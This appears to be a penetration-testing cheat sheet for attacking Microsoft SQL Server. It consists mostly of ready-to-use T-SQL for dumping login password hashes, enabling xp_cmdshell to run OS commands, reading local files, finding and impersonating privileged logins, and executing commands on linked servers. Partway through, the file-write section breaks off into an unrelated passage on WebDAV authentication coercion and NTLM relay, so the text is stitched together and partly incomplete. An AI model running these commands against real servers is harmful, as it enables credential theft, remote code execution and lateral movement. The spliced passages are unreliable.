> select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
List all Existing Databases
> select name from sys.databases;
> select * from master.dbo.sysdatabases;
Use a Specific Database
> use <DB_NAME>;
List all the Tables in a Database
> select name from <DB_NAME>.sys.tables;
> select table_name from <DB_NAME>.information_schema.tables where table_type='base table';
> select table_name from information_schema.tables where table_type='base table' and table_catalog='<DB_NAME>';
Info
In SQL Server, information_schema is a schema that belong to a database, unlike MySQL, where information_schema is a database itself
Therefore, each database in SQL Server has its own information_schema schema, which contains metadata views and other data
MSSQL Command Execution
xp_cmdshell
It is possible to run OS Commands from the SQL Server context through xp_cmdshell
It is an extended procedure provided by Microsoft and stored in the Master database
The commands will be executed using the MSSQL’s service account privileges
Check if xp_cmdshell is Enabled
> select * from sys.configurations where name = 'xp_cmdshell';
Enable xp_cmdshell
Enable Advanced Options
The xp_cmdshell is considered an advanced feature due to its security risks
Therefore, in order to be able to enable it, It is necessary to first enable the advanced options to access the configuration that can activate xp_cmdshell
Note that, in addition to having enabled the above procedure, It is necessary to have the EXECUTE Permission on the xp_cmdshell extended procedure in order to be able to execute OS Commands
To check which users can run xp_cmdshell →
> user master;> exec sp_helprotect 'xp_cmdshell';
If the current database user is part of the SYSADMIN role and xp_cmdshell is enabled, it can be executed directly
Execute OS Commands via xp_cmdshell
> exec xp_cmdshell '<COMMAND>'
Check which Service Account is running xp_cmdshell
> exec xp_cmdshell 'whoami'
Read Local Files
This actions is restricted to the system resources to which the current user has read access
SELECT * FROM OPENROWSET(BULK N'<FILE_PATH>', SINGLE_CLOB) AS Contents
Write Local Files
Enabling Ole Automation Procedures
In order to be able to write files using MSSQL, It is necessary to enable the OLE Automation Procedures, which requires admin privileges
However, if an attacker wants to relay SMB Authentication to the DC’s LDAP or SMB server in order to enable RBCD on the victim, carry out a Shadow Credentials attack, and so on, due to those servers are set to require Session Signing (Integrity) if the client supports it, which is does by default, the following condition must be met
𝐈𝐈𝐈. The Web Client Service must be available and running
Please note that this service is only available on Windows Workstations and It is not running by default, but there are some actions that can be performed to activate it
This method allows an attacker to use the WebDAV client to coerce an HTTP Authentication through an specifed UNC with the following structure →
\\<HOST>@<PORT>\<SHARE>
As the Windows HTTP Clients comes from the WinHTTP and WinINET libraries/interfaces, it does not enable signing on NTLM Authentication by default. This means that an HTTP Authentication could be relayed to any LDAP, SMB or HTTP endpoint which does not always require signing
It should be noted that the authentication to the rogue server is usually received from the Local System account i.e. the victim’s computer account. Thus, we could compromise that host through RBCD + Full S4U, Shadow Credentials + PtC + S4U2Self | Unpac the Hash + Silver Ticket Attack, ESC8 and so on
Therefore, the attack would take place as follows →
SQL Server allows the executing user to take on the permissions of another user or login until the context is reset or the sessions ends
This is achieve by using a special permission called IMPERSONATE
Identifying Users to impersonate
> SELECT DISTINCT B.NAME> FROM SYS.SERVER_PERMISSIONS A> INNER JOIN SYS.SERVER_PRINCIPALS B> ON A.GRANTOR_PRINCIPAL_ID = B.PRINCIPAL_ID> WHERE A.PERMISSION_NAME = 'impersonate'
Oneliner
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
Verifying our Current User and Role
Current User
> SELECT SYSTEM_USER
Checking for Sysadmin Role
> SELECT IS_SRVROLEMEMBER('sysadmin')
The above command returns one the following values →
0 → No Sysadmin Role
1 → Sysadmin Role
Impersonating a User
> EXECUTE AS LOGIN = '<USER>'> SELECT SYSTEM_USER
Important
It is recommended to run EXECUTE AS LOGIN within the Master DB, as all users has access to that database by default
Communication with Other DBs
SQL Servers have anothe feature called LINKED SERVERS which allows an SQL Server Instance to communicate and enable the database engine to execute SQL Queries in another SQL Server Instance, or another database product such as Oracle
An attacker could gain access to an SQL Server that has configured Linked Servers with sysadmin credentials, so he could be able to execute commands on the remote SQL Instance via an stored procedure such as xp_cmdshell
Identifying Linked Servers on MSSQL
SELECT SRVNAME, ISREMOTE FROM SYSSERVERS
This query returns two possible values →
1 → Remote Server
0 → Linked Server
Identifying the User used for the Connection and its Privileges
EXECUTE('SELECT @@SERVERNAME, @@VERSION, SYSTEM_USER, IS_SRVROLEMEMBER(''SYSADMIN'')') AT [<HOST>\<MSSQL_INSTANCE>]
Enabling command execution on Linked Servers
Enable Show Advanced Options
> EXECUTE('EXEC SP_CONFIGURE ''SHOW ADVANCED OPTIONS'', 1') AT [<HOST>\<MSSQL_INSTANCE]
> EXECUTE('RECONFIGURE') AT [<HOST>\<MSSQL_INSTANCE]
Enable XP_CMDSHELL
> EXECUTE('EXEC SP_CONFIGURE ''XP_CMDSHELL'', 1') AT [<HOST>\<MSSQL_INSTANCE]
> EXECUTE('RECONFIGURE') AT [<HOST>\<MSSQL_INSTANCE]
Remote Command Execution
EXECUTE ('XPCMDSHELL ''whoami''') AT [<HOST>\<MSSQL_INSTANCE]
